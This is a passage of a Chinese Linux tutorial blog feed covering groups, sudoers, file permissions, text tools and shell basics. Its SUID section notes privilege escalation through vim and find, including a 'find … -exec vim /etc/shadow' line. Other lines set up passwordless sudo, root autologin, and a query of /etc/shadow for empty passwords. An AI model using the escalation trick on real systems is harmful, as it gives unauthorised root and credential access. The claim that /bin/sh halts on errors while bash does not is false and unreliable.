who am i   //查看登录系统的用户

su [选项] [用户名]
选项：
-c 仅执行一次命令，而不切换用户身份

sudo 用root用户权限执行命令
vim /etc/sudoers //这个文件配置sudo权限
	root    ALL=(ALL)       ALL
	zyl     ALL=(ALL)       ALL

&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 用户组&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;用户和组是多对多的关系
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.1 用户组分类&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;管理员组：(root gid=0)
普通用户组：(gid=1-60000)
	系统组：1-999
	登录组：1000-60000
	
主组（初始组）：
1.每个用户有且只有一个主组
2.不能删除主组，一般删除用户的同时会删除主组

附属组：
1.后来添加的组
2.用户可以是零个或多个附属组的成员
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 用户组信息文件&lt;/h3&gt;
&lt;h4&gt;/etc/group --- 组信息文件&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;zyl:x:1000:zyl
 1  2  3    4

1：组名
2：密码位（已废弃）---- /etc/gshadow
3：GID
4：组内用户


wheel --- 管理员组
- 普通用户加入到wheel组，可以实现无密码使用su 和 sudo 提权的操作
- 前提配置文件功能启用
- su  ----  /etc/pam.d/su ---- #auth           sufficient      pam_wheel.so trust use_uid --- 注释符去掉
- sudo ---- /etc/sudoers  ---- #%wheel ALL=(ALL)       NOPASSWD: ALL   --- 注释符去掉
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.3 用户组密码信息文件&lt;/h3&gt;
&lt;h4&gt;/etc/gshadow（拓展）&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;zyl: !! :   :zyl
 1   2    3   4

1：组名
2：密码位
3：组管理员
4：组中的附加用户
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.4 用户组命令操作&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;groupadd 组名  //创建组
用法：groupadd [选项] 组
选项:
-f, --force 如果组已经存在则成功退出并且如果 GID 已经存在则取消
-g, --gid GID 为新组使用 GID
-h, --help 显示此帮助信息并推出
-K, --key KEY=VALUE 不使用 /etc/login.defs 中的默认值
-o, --non-unique 允许创建有重复 GID 的组
-p, --password PASSWORD 为新组使用此加密过的密码
-r, --system 创建一个系统账户
-R, --root CHROOT_DIR chroot 到的目录

groupdel 组名  //删除组

gpasswd 管理/etc/group和/etc/gshadow  文件
选项详解：
-a: 添加用户到组 //gpasswd -a userA groupB
-d: 从组删除用户
-A：指定管理员 //gpasswd -A userA groupA
-M：指定组成员和-A的用途差不多；
-r：删除密码；
-R：限制用户登入组，只有组中的成员才可以用newgrp加入该组。


groupmod  修改用户组属性
-g   为用户指定新的GID
-o   与 -g同时使用，使指定的新GID可以不唯一
-n   将用户组的名字改为新名字

&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 文件和目录权限</title><link>https://wangyi187.top/posts/os-12-linux-perms/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-12-linux-perms/</guid><description>Linux文件和目录权限 1 Linux根目录结构介绍 2 Linux目录详细内容解读 3 Linux文件与目录权限 3.1 文件权限概念 3.2 文件权限解析 3.3 文件权限修</description><pubDate>Tue, 30 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux文件和目录权限&lt;/h1&gt;
&lt;h2&gt;1 Linux根目录结构介绍&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;/	 ---操作系统的起始路径根路径
/bin ---普通用户和管理员都可以执行的命令字
/sbin ---只有管理员才能执行的命令关机重启
/boot ---引导主引导目录独立的分区启动菜单内核
/dev --- device设备设备文件存放目录
/etc ---配置文件存放目录
/home ---普通用户的家目录
/root --- 管理员的家目录
/media --- 光驱的挂载目录
/mnt ----临时设备挂载目录
/proc --- 里面的数据都在内存中，进程的所在目录
/tmp ---临时文件存放目录
/usr --- 软件的安装目录
/var --- 常变文件存放目录日志文件邮件文件
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 Linux目录详细内容解读&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;ls 不加任何参数，表示查询当前目录下的文件/文件夹
ls 后面加上路径，表示查询该路径下的文件/文件夹
ls –l ：以长格式显示目录中的内容。
文件类型和权限信息、链接数、文件所有者、文件所属组、文件大小（以字节为单位）、文件的最后修改日期和时间、文件名
ls -a：显示所有文件，包括隐藏文件（以.开头的文件）。
- 通常，Linux中以.开头的文件被视为隐藏文件。
ls -h：与-l一起使用，以人类可读的格式显示文件大小。例如，文件大小以K、M、G等单位显示，而不是字节数。
ls -i：显示每个文件的inode号。
- inode是文件系统中的一个概念，用于唯一标识文件。
ls -S：按文件大小排序，大的在前面。默认情况下，ls命令按字母顺序排序。
ls -t：按时间排序，最新修改的在前面。默认情况下，ls命令按文件名排序。
ls -R：递归列出目录及子目录下的所有文件。该选项会深入子目录并显示其中的内容。
ls -d：显示目录本身，而不是其内容。默认情况下，ls命令会显示目录的内容，而不是目录本身。
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 Linux文件与目录权限&lt;/h2&gt;
&lt;h3&gt;3.1 文件权限概念&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;drwxr-xr-x.  21 root root 4096 May  8 09:48 var

- drwxr-xr-x.   文件权限
- 21    数量：①针对文件来说，就是文件数量   ②针对目录来说，是该目录的第一级子目录的个数
- root   文件所有者
- root   文件所属组
- 4096   文件大小
- May  8 09:48   修改文件的时间
- var    目录名/文件名
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 文件权限解析&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;d  rwx   r-x   r-x  . 
1   2     3     4   5

1：文件类型：
    - 普通文件   
    d 目录  
    b 块设备  
    l 符号链接 
    c 字符设备
2：文件所有者对该文件的权限（属主权限）
3：文件所属组对该文件的权限（属组权限）
4：其他用户对该文件的权限（既不是文件所有者也不是文件所属组）
5：具有拓展的安全上下文
- selinux
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;在文件中：
r：可读
w：可写
x：可执行

在目录中：
r：可以查看目录内容
w：可以对目录进行编辑（如创建删除文件）
x：可以进入目录
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 文件权限修改&lt;/h3&gt;
&lt;h4&gt;chmod修改文件权限&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;文字设定法：
chmod [对象] [算数运算符] [权限] [文件]

对象：
u：文件所有者
g：文件所属组
o：其他用户
a：所有人

算数运算符：
+ - =

权限：
r w x

chmod o-x 123
chmod o=x 123
chmod u=rx,g=rw,o=rwx 123
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;数字设定法：
chmod [权限数字] 文件名
r:用数字4表示
w:用数字2表示
x:用数字1表示
-:没有权限，用数字0表示

      0           7          5          5 
  特殊权限      文件所有者  文件所属组    其他用户

chmod 0755 文件名
chmod 755 文件名
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;普通用户：
文件：0664
目录：0775

root用户：
文件：0644
目录：0755

默认创建权限 = 最高权限 - 权限掩码

最高权限：
目录：0777
文件：0666

权限掩码：
root：0022
普通用户：0002


修改权限掩码：
umask 要修改的值
/etc/profile   /etc/bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;修改文件的所属用户
chown [用户] [文件]

修改文件的所属组
chgrp [组] [文件]
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.4 文件查找&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;find [目录] [选项]
-mount, -xdev : 只检查和指定目录在同一个文件系统下的文件，避免列出其它文件系统中的文件
-amin n : 在过去 n 分钟内被读取过
-anewer file : 比文件 file 更晚被读取过的文件
-atime n : 在过去n天内被读取过的文件
-cmin n : 在过去 n 分钟内被修改过
-cnewer file :比文件 file 更新的文件
-ctime n : 在过去n天内被修改过的文件
-empty : 空的文件-gid n or -group name : gid 是 n 或是 group 名称是 name 
-ipath p, -path p : 路径名称符合 p 的文件，ipath 会忽略大小写
-name name, -iname name : 文件名称符合 name 的文件。iname 会忽略大小写
-size n : 文件大小 是 n 单位，b 代表 512 位元组的区块，c 表示字元数，k 表示 kilo bytes，w 是二个位元组。
-type c : 文件类型是 c 的文件。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.5 三种特殊权限&lt;/h3&gt;
&lt;p&gt;粘滞位&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;文字设定法：o+t
数字设定法：1XXX
功能：只针对目录，只有文件所有者才能删除文件

- 当目录其他用户权限有x的时候是t，没有x权限是T
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;sgid&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;文字设定法：g+s
数字设定法：2XXX
功能：只针对目录，在该目录中建立的文件或者目录，所属组继承父目录的属组
- 当在目录下创建文件，继承所属组
- 当在目录下创建目录，继承所属组和sgid权限
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;suid&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;文字设定法：u+s
数字设定法：4xxx
功能：只针对可执行文件，谁运行该文件，谁就具有该文件所有者权限

vim 提权

find 提权
find 存在的文件 -exec 要执行的命令 \;
find /etc/passwd -exec vim /etc/shadow \;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.6 文件属性修改&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;lsattr  查看文件状态

chattr [选项] [文件]
选项
a：让文件或目录仅供附加用途。（适用于各种日志文件）
b：不更新文件或目录的最后存取时间。
c：将文件或目录压缩后存放。
d：将文件或目录排除在倾倒操作之外。
i：不得任意更动文件或目录。（防止系统中某个关键文件被篡改）
s：保密性删除文件或目录。
S：即时更新文件或目录。
u：预防意外删除。

chattr +a 文件名  //加属性
chattr -a 文件名  //减属性
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;Linux centos 文件在命令行模式下有各种颜色，文件名颜色不同，代表的文件类型也不同。
浅蓝色 链接文件
灰色 其它文件
绿色 可执行文件
红色 压缩文件
蓝色 目录
红色闪烁 链接源文件存在问题
黄色 设备文件
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 简介与基础命令</title><link>https://wangyi187.top/posts/os-10-linux-basics/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-10-linux-basics/</guid><description>Linux简介和基础命令 1 Linux简介 2 Linux应用领域 3 Linux打开终端的方式 3.1 终端快捷键 3.2 终端初见面 3.3 简单基础操作 3.4 Linux</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux简介和基础命令&lt;/h1&gt;
&lt;h2&gt;1 Linux简介&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;Linux是一个类Unix系统，开源且免费

Linux能运行Unix工具软件，应用程序，网络协议；并且继承了Unix以网络为核心的设计思想，是一个性能稳定的多用户网络操作系统
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 Linux应用领域&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;从嵌入式设备到超级计算机

LAMP/LNMP 网站框架
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 Linux打开终端的方式&lt;/h2&gt;
&lt;h3&gt;3.1 终端快捷键&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;ctrl + shift + +=  放大界面
ctrl + --  缩小界面
ctrl + l  ==== clear   清空屏幕
ctrl + c  终止
ctrl + shift + c/v  复制粘贴
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.2 终端初见面&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;[  zyl   @      localhost          ~      ]  $  
  用户名       主机名（bogon）   当前所在位置    权限
 
~：家目录。 普通用户：/home/用户名     root用户：/root
$: 普通权限
#: 管理员权限
/: 根目录
.: 当前目录
..: 上一级

绝对路径：从根目录出发
cd /home/zyl/
相对路径：从当前目录出发
cd zyl/
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.3 简单基础操作&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;su 用户名  //切换用户    su 默认切换到root用户
pwd   //显示当前所在路径
ls   //显示当前目录下的内容
ls -l  --- ll   //显示当前目录的详细信息
cat 文件名   //查看文件内容
history   //查看历史命令

hostname 主机名  //临时修改主机名
vim /etc/hostname   //永久修改主机名

reboot  //重启系统
poweroff   //关闭系统
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.4 Linux树状结构&lt;/h3&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407272121999.png&quot; alt=&quot;image-20240716142028147&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;h3&gt;3.5 VIM/VI编辑器&lt;/h3&gt;
&lt;p&gt;进入插入模式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;i:从下一个字符插入
a:从当前光标插入
o:换行插入
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;底线命令模式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;esc键退出
:w     保存不退出
:wq	   保存并退出
:wq!   强制保存并退出
:set nu  显示行号
:set nonu  关闭行号
:% s/localhost/os48/g   替换
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;视图模式&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yy 复制光标所对应的当前行 ---- p 粘贴到当前行下
dd 删除当前行 ---- 5dd 删除5行内容
gg 跳到开头  ---- G 跳到结尾
u  撤回
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.6 系统信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;fdisk -l   //查看硬盘大小
- Linux LVM 磁盘管理工具
- Blocks  块

cat /proc/meminfo   //查看内存大小

cat /proc/cpuinfo   //查看cpu信息
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.7 修改网卡配置&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;查看IP信息：
ifconfig
ip address

vim /etc/sysconfig/network-scripts/ifcfg-ens33

TYPE=Ethernet   //配置因特网类型
BOOTPROTO=dhcp   //获取ip方式   static
DEFROUTE=yes     //是否开启默认路由
NAME=ens33		 //网卡名称
DEVICE=ens33	 //设备名称
ONBOOT=yes		 //是否随网络服务启动而自启
IPADDR=    //IP
NETMASK=   //掩码
GATEWAY=   //网关
DNS1=	   //主DNS
DNS2=	   //副DNS

systemctl restart network  //重启网络服务
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3.8 ssh远程连接&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;systemctl status network   //状态
systemctl start network    //开启
systemctl stop network     //关闭
systemctl disable network   //永久关闭
systemctl enable network   //开机自启
systemctl restart network   //重启

vim /etc/ssh/sshd_config
	Port 22
	AddressFamily any
	ListenAddress 0.0.0.0
	ListenAddress ::
	PasswordAuthentication yes
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;4 Linux基础命令&lt;/h2&gt;
&lt;h3&gt;4.1 命令字介绍&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;内部命令字：
man ls   //查看外部命令字和内部命令字

外部命令字：
help cd  //查看内部命令字

type ls  //是否是内部命令
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.2 基础命令&lt;/h3&gt;
&lt;p&gt;创建、删除文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;echo 内容 &amp;gt; 文件名  //创建带有内容的文件
echo 内容 &amp;gt;&amp;gt; 文件名  //追加内容
vim 文件名    //创建文件
touch 文件名  //创建空文件

rm 文件名  //删除文件
rm -f 文件名  //强制删除文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;创建、删除目录&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mkdir 目录名  //创建目录
mkdir -p 1/2/3   //创建多级目录

rmdir 目录  //删除空目录
rm -r 目录  //删除目录
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;重命名、移动、拷贝文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;mv 旧文件名 新文件名  //移动并重命名文件
cp 旧文件名 新文件名  //拷贝并重命名文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;压缩、解压缩文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;dd if=/dev/zero of=/test/KB bs=1M count=100  --- 创建一个大小为100M的文件
- dd  复制文件并对原文件的内容进行转换和格式化处理
- if  输入文件  --- /dev/zero  特殊文件 空设备文件 
- of  输出文件 
- bs  文件大小
- count 次数

ll -h  以人类可读方式显示
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;gzip 文件名  //压缩文件
gunzip 压缩文件  //解压缩文件

bzip2 文件名  //压缩文件
bunzip2 压缩文件  //解压缩文件
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;打包：不会改变文件大小&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tar -cf 123.tar 123/    //打包
tar -zcf 123.tar.gz 123/  //打包并压缩  用的是gzip
tar -tvf 123.tar.gz  //查看压缩包内容
tar -xzvf 123.tar.gz  //解压缩文件

-c 打包
-x 解包
-z gzip
-j bzip2
-v 显示过程
-t 查看压缩包内容
-f 指定压缩包的文件名
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;yum&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Linux管理软件包的一个工具
yum install 服务名  //安装服务
yum remove 服务名  //删除服务
yum reinstall 服务名  //重装服务
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;4.3 源介绍&lt;/h3&gt;
&lt;p&gt;网络源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;存在于网上的软件库
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;本地源&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;本地的软件库
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;源的位置：/etc/yum.repos.d/
更换网络源：
rpm -q wget ------  wget-1.14-18.el7_6.1.x86_64     -- 查看是否有wget这个命令

wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo

yum clean all  //清空缓存
yum makecache  //重新加载
yum repolist   //查看仓库
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;5 开机root用户自动登入&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;vim /etc/gdm/custom.conf
    [daemon]
    AutomaticLoginEnable=true
    AutomaticLogin=root
    
reboot 生效
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 三剑客（grep/sed/awk）</title><link>https://wangyi187.top/posts/os-13-linux-three-swords/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-13-linux-three-swords/</guid><description>Linux文本三剑客 1 grep 2 sed 查看 替换 增加 删除 3 awk</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux文本三剑客&lt;/h1&gt;
&lt;h2&gt;1 grep&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;演示文本：
/etc/passwd
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;以行为输出，只做筛选并输出，不会改变文件原来的内容

grep命令是我们常用的一个强大的文本搜索命令。
命令格式：
grep [参数] [关键字] &amp;lt;文件名&amp;gt;
注意：
可以通过 grep --help 查看grep的帮助信息
参数详解：
-c 只输出匹配关键字的计数
-n 显示匹配行内容及行号
-v 显示不包含匹配文本的所有行
-o 只列出所匹配关键字

grep -v &quot;^#&quot; /etc/sudoers | grep -v &quot;^$&quot;  //筛选以#开头和空行以外的内容
grep -v &quot;^#\|^$&quot; /etc/sudoers

- ^ 以...开头
- $ 以...结尾
- ^$ 空行
- \ 转义符
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 sed&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;演示文本：
hello sed1 sed1 sed1
hello sed2 sed2 sed2
hello sed3 sed3 sed3
hello sed4 sed4 sed4
hello sed5 sed5 sed5
hello sed6 sed6 sed6
hello sed7 sed7 sed7
hello sed8 sed8 sed8
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;行文本编辑工具
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;sed 行文件编辑工具。因为它编辑文件是以行为单位的。
命令格式：
sed [参数] &apos;&amp;lt;匹配条件&amp;gt; [动作]&apos; [文件名]
注意：
可以通过 sed --help 查看帮助信息
参数详解：
参数为空 表示sed的操作效果，实际上不对文件进行编辑
-n 取消静默输出
-i 表示对文件进行编辑

匹配条件：
匹配条件分为两种：数字行号或者关键字匹配
关键字匹配格式：
‘/关键字/’
动作详解：
a 在匹配到的内容下一行增加内容
i 在匹配到的内容当前行增加内容
d 删除匹配到的内容
s 替换匹配到的内容
p 查看指定内容
e 多点编辑
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sed -n &apos;3p&apos; sed  //查看第三行的内容
sed -n &apos;3p;5p&apos; sed   //查看第三行和第五行的内容
sed -n &apos;2,5p&apos; sed   //查看2-5行的内容
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;替换&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sed -i &apos;1s/sed/SED/&apos; sed  //将第一行第一个sed替换为SED
sed -i &apos;1s/sed/SED/2&apos; sed //将第一行第二个sed替换为SED
sed -i &apos;3s/sed/SED/g&apos; sed //将第三行所有sed替换为SED
sed -i &apos;s/sed/SED/&apos; sed //将每一行首个sed替换为SED
sed -i &apos;6,8s/sed/SED/g&apos; sed //将6-8行所有sed替换为SED
sed -i &apos;2s/sed/SED/g;5s/sed/SED/g&apos; sed //将第2和5行所有sed替换为SED
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;增加&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;1.在第2行后增加add-1
sed -i &apos;2a\add-1&apos; sed
2.在第2行前增加insert-1
sed -i &apos;2i\insert-1&apos; sed
3.在第5-7行后每一行增加add-2
sed -i &apos;5,7a\add-2&apos; sed
4.在第5-7行前增加insert-2
sed -i &apos;5,7i\insert-2&apos; sed
5.在第1行后连续增加两行
sed -i &apos;1a\add-11\nadd-11&apos; sed
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;删除&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;删除第2行
sed -i &apos;2d&apos; sed
删除第2-5行
sed -i &apos;2,5d&apos; sed
删除第2和5行
sed -i &apos;2d;5d&apos; sed
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;3 awk&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;演示文本：
hello awk1 awk2 awk3
hello awk4 awk5 awk6
Hello awk7 awk8 awk9
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;不仅能以行为单位，也能以列为单位处理文件
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;awk是一个功能非常强大的文档编辑工具，它不仅能以行为单位还能以列为单
位处理文件。
命令格式
awk [参数] &apos;[动作]&apos; [文件名]

常见参数：
-F 指定列的分隔符
-f 调用脚本
-v 定义变量

常见动作：
print 显示内容
$0 显示当前行所有内容
$n 显示当前行的第n列内容

动作组成
BEGIN{ 命令 } 初始代码块，主要和变量相关
/pattern/{ 命令 } 匹配、执行代码块
END{ 命令 } 结束代码块，主要和信息输出相关

内置变量
FILENAME 当前输入文件的文件名，该变量是只读的
NR 指定显示行的行号
NF 输出当前行的列数
OFS 输出格式的列分隔符，缺省是空格
FS 输入文件的列分融符，缺省是连续的空格和Tab
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;awk &apos;/hello/&apos; awk  //筛选有hello的内容
awk &apos;{print $2}&apos; awk //打印第2列内容
- 默认情况下awk会以空格作为分隔符
awk &apos;{print NR,$2}&apos; awk  //打印第二列的内容并显示行号
awk &apos;NR==2{print $2,$4}&apos; awk //打印第二行的内容的第二列和第四列的内容

awk -F &apos;,&apos; &apos;{print $3}&apos; awk  //以，为分隔符，打印第三列的内容
awk -F &apos;,&apos; &apos;BEGIN{OFS=&quot;:&quot;}{print NR,$2}&apos; awk //以，为分隔符，打印   行号:第二列的内容

ll | awk &apos;{if ($5&amp;gt;=1910) print &quot;\n&quot; &quot;filename:&quot; $9 &quot;\n&quot; &quot;lenth:&quot; $5 &quot;B&quot; &quot;\n&quot;}&apos;  //输出当前目录下文件大小大于1910的文件名和文件大小

ll | awk &apos;{if ($5&amp;gt;=1910 &amp;amp;&amp;amp; /^-/) print &quot;\n&quot; &quot;filename:&quot; $9 &quot;\n&quot; &quot;lenth:&quot; $5 &quot;B&quot; &quot;\n&quot;}&apos; //输出当前目录下普通文件大小大于1910的文件名和文件大小


awk -F &apos;,&apos; &apos;{for(i=1;i&amp;lt;=NF;i++) print $i}&apos; awk  //按顺序输出所有内容
awk -F &apos;,&apos; &apos;{for(i=NF;i&amp;gt;=1;i--) print $i}&apos; awk  //按倒序输出所有内容
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;1.查询系统中UID为0的用户
awk -F &apos;:&apos; &apos;$3==0{print $1}&apos; /etc/passwd
2.查询空密码的用户
awk -F &apos;:&apos; &apos;$2==&quot;&quot;{print $1}&apos; /etc/shadow
awk -F &apos;:&apos; &apos;length($2)==0{print $1}&apos; /etc/shadow
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Linux 服务器搭建（一）</title><link>https://wangyi187.top/posts/os-14-linux-server-1/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-14-linux-server-1/</guid><description>Linux服务器搭建 1 准备工作 2 DHCP服务器 3 DNS服务器 4 FTP服务器</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;Linux服务器搭建&lt;/h1&gt;
&lt;h2&gt;1 准备工作&lt;/h2&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.oss-cn-shanghai.aliyuncs.com/img/202407272122745.png&quot; alt=&quot;image-20240720155458406&quot; style=&quot;zoom:50%;&quot; /&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;DHCP:
IP:192.168.1.254/24
地址池：192.168.1.100-192.168.1.150
下发DNS：192.168.1.50
下发网关：192.168.1.254
下发掩码：255.255.255.0

DNS:
IP:192.168.1.50/24
ftp.zyl.cn  ---- 192.168.1.30
dhcp.zyl.cn ---- 192.168.1.254
dns1.zyl.cn ---- 192.168.1.50
zyl.cn  ----- 192.168.1.1

FTP:
IP:192.168.1.30/24

三台虚拟机 --- 处于同一张网卡 仅主机模式 关闭VMware带的dhcp服务
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;本地源搭建
cd /etc/yum.repos.d/

vim local.repo
[local-yum]
name=local-yum
baseurl=file:///run/media/zyl/CentOS\ 7\ x86_64
gpgcheck=0

yum clean all
yum makecache
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;2 DHCP服务器&lt;/h2&gt;
&lt;h2&gt;3 DNS服务器&lt;/h2&gt;
&lt;h2&gt;4 FTP服务器&lt;/h2&gt;
</content:encoded></item><item><title>Shell 脚本基础</title><link>https://wangyi187.top/posts/os-14-shell-script/</link><guid isPermaLink="true">https://wangyi187.top/posts/os-14-shell-script/</guid><description>shell脚本 1 shell脚本概念 1.1 shell和shell脚本有什么区别 1.2 shell环境介绍 1.3 shell脚本基本格式 2 案例1：脚本修改静态IP 2.</description><pubDate>Sat, 27 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;shell脚本&lt;/h1&gt;
&lt;h2&gt;1 shell脚本概念&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;什么是脚本？
脚本就是由Shell命令组成的文件，这些命令都是可执行程序的名字，脚本不用编译即可运行。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.1 shell和shell脚本有什么区别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;shell和shell脚本有什么区别？
确切一点说，Shell就是一个命令行解释器，它的作用就是遵循一定的语法将输入的命令加以解释并传给系统。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.2 shell环境介绍&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;如果是不带有图形环境的 Linux 系统（比如专用于服务器的系统），启动后就直接是命令行环境。
不过，现在大部分的 Linux 发行版，尤其是针对普通用户的发行版，都是图形环境。用户登录系统后，自动进入图形环境，需要自己启动终端模拟器，才能进入命令行环境。
所谓“终端模拟器”（terminal emulator）就是一个模拟命令行窗口的程序，让用户在一个窗口中使用命令行环境，并且提供各种附加功能，比如调整颜色、字体大小、行距等等。
不同 Linux 发行版（准确地说是不同的桌面环境）带有的终端程序是不一样的，比如 KDE 桌面环境的终端程序是 konsole，Gnome 桌面环境的终端程序是 gnome-terminal，用户也可以安装第三方的终端程序。所有终端程序，尽管名字不同，基本功能都是一样的，就是让用户可以进入命令行环境，使用 Shell。
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.3 shell脚本基本格式&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;“#!”  约定的标记，告诉系统这个脚本使用哪个命令解释器来执行

/bin/bash：执行过程中，若命令执行失败，仍然会继续执行。
/bin/sh：执行过程中，若出现命令执行失败，则会停止执行。
不使用命令解释器环境：默认情况下使用/bin/bash，具体根据用户的默认命令解释器环境
&lt;/code&gt;&lt;/pre&gt;
